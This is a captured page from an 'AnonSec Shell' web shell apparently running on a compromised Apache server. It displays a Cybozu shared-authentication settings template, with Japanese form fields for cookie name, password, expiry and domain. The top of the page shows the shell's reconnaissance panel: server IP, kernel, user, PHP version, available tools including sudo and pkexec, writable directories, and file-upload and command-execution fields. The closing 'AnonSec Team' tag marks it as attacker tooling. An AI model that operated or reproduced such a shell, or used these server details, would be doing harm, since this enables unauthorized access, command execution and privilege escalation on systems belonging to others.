AnonSec Shell
Server IP : 133.18.244.157  /  Your IP : 216.73.217.20
Web Server : Apache
System : Linux o4022v-135.kagoya.net 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : main2 ( 81069)
PHP Version : 5.6.34
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /install/page/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /install/page/SystemUserCommonAuth.html
' If $System.IsCloud
'  Exit
' EndIf
' $System.Access Admin
' If $System.IsPost
'   $Command.System.SetCommonAuth
'   $System.Redirect $Server?page=SystemAdmin
'   Exit
' EndIf
<!--#include file="LibraryCommon.html"-->
' Call cmHtmlHead
<!--#include file="LibraryForm.html"-->
' $CaptionTitle = "連携認証の設定"
' Call cmHead $CaptionTitle
<script language="JavaScript" type="text/javascript">
<!--
function onModeClick()
{
  var form = document.form1;
  var openAuth = document.getElementById( 'ModeOpenAuth' );
  form.CookieName.disabled = !openAuth.checked;
  form.Expire.disabled = !openAuth.checked;
  form.Domain.disabled = !openAuth.checked;
  var openAuth = document.getElementById( 'ModeOpenAuth' );
  var expireNecessary = document.getElementById( 'ExpireNecessary' );
  expireNecessary.innerHTML = openAuth.checked? "<font color=\"#ff0000\">*</font>": "";
}
-->
</script>
</head>
<body onLoad="onModeClick()">
' If ! $System.IsPost
'  $Password = "***************"
'  $Retype = "---------------"
' EndIf
' $System.SetParameter BackURL "$Server?page=SystemAdmin"
' Call cmHeaderView 1 $CaptionTitle $BackURL "システム設定"
<form method="post" name="form1" action="$Server?">
<input type="hidden" name="CSRFTicket" value="$System.MakeCSRFKey">
<input type="hidden" name="Page" value="SystemUserCommonAuth">
<input type="hidden" name="rw" value="User">
<p>連携認証を設定してください。<br>
' Call formNote 1
</p>
' $CookieName = $Command.System.GetCommonAuthCookieName
' $Up = $Command.System.IsCommonAuthVersionUp
' If $Up
<p>
<font color="#ff0000">
新しい認証パスワードを設定してください。バージョンアップ後に認証パスワードが再設定されていません。
</font>
</p>
' EndIf
<blockquote>
<table>
 <tr>
  <td nowrap>有効</td>
  <td>\\
' Call formCheckBox "Enable" "連携認証を有効にする" $CommonAuth.Enable "1" "Enable"
</td>
 </tr>
 <tr>
' $CommonAuthMode = $CommonAuth.Mode
' $IsZero = $Command.IsZero $CommonAuthMode
' If ( ! $CommonAuthMode ) and ( ! $IsZero )
'   If $CommonAuth.Enable
'     $CommonAuthMode = 0
'   Else
'     $CommonAuthMode = 1
'   EndIf
' EndIf
   <td nowrap>モード\\
' Call formNecessaryMark
</td>
   <td>
' Call formRadio "Mode" "オープン統合認証 ver.2" $CommonAuthMode.Checked "1" "ModeOpenAuth" "onModeClick()"
<br>
' Call formRadio "Mode" "サイボウズ共通認証" $CommonAuthMode.RChecked "0" "ModeCommonAuth" "onModeClick()"
   </td>
 </tr>
 <tr>
  <td nowrap>Cookie名</td>
  <td nowrap>\\
' Call formTextBox "CookieName" "$CookieName" "" "" "" "" 50
</td></tr>
 <tr>
  <td nowrap>認証パスワード\\
' Call formNecessaryMark
</td>
  <td nowrap>\\
' Call formPassword "Password" 40 64 -1 "$Password"
  </td>
 </tr>
 <tr>
  <td nowrap>認証パスワード\\
' Call formNecessaryMark
</td>
  <td nowrap>\\
' Call formPassword "Retype" 40 64 2 "$Retype"
(確認用)</td>
 </tr>
' $AuthExpire = $CommonAuth.Expire
' If ! $AuthExpire
'   $AuthExpire = 360
' EndIf
 <tr>
  <td nowrap>有効時間<span id="ExpireNecessary">\\
' Call formNecessaryMark
</span></td>
  <td nowrap><select name="Expire">
   <option value="10" $AuthExpire.Selected_10>10分
   <option value="30" $AuthExpire.Selected_30>30分
   <option value="60" $AuthExpire.Selected_60>1時間
   <option value="180" $AuthExpire.Selected_180>3時間
   <option value="360" $AuthExpire.Selected_360>6時間
   <option value="720" $AuthExpire.Selected_720>12時間
   <option value="1440" $AuthExpire.Selected_1440>1日
   </select></td>
 </tr>
 <tr>
  <td nowrap>発行ドメイン</td>
  <td nowrap>
' Call formTextBox "Domain" "$CommonAuth.Domain" 1024 "" "" 50
  <div><font size="-1">例)&nbsp;<b>xxx.cybozu.co.jp</b></font></div></td>
 </tr>
</table>
</blockquote>
' Call formCommit "設定する" "キャンセルする" "" "location.href='$BackURL.JSEscape';"
<p>※連携認証を利用する製品間では、有効時間を除く<b>すべての設定が同一である</b>必要があります。<br>
 設定前に認証対象の製品のシステム管理者と十分な確認を行った上で、ご利用ください。</p>
<p>※連携認証を利用する製品間では、ユーザーのログイン名を同一のものに設定してください。<br>
 ユーザーの識別は、各製品のログイン名を利用しています。</p>
<p>※ログイン名を設定していないユーザーは、認証機能を利用できません。<br>
  →「<a href="$Server?page=SystemUserAdmin">ユーザーの設定</a>」</p>
</form>
<script language="JavaScript" type="text/javascript">
<!--
onModeClick();
-->
</script>
' Call cmChildFooter $BackURL "システム設定へ"
</body>
</html>

Anon7 - 2022
AnonSec Team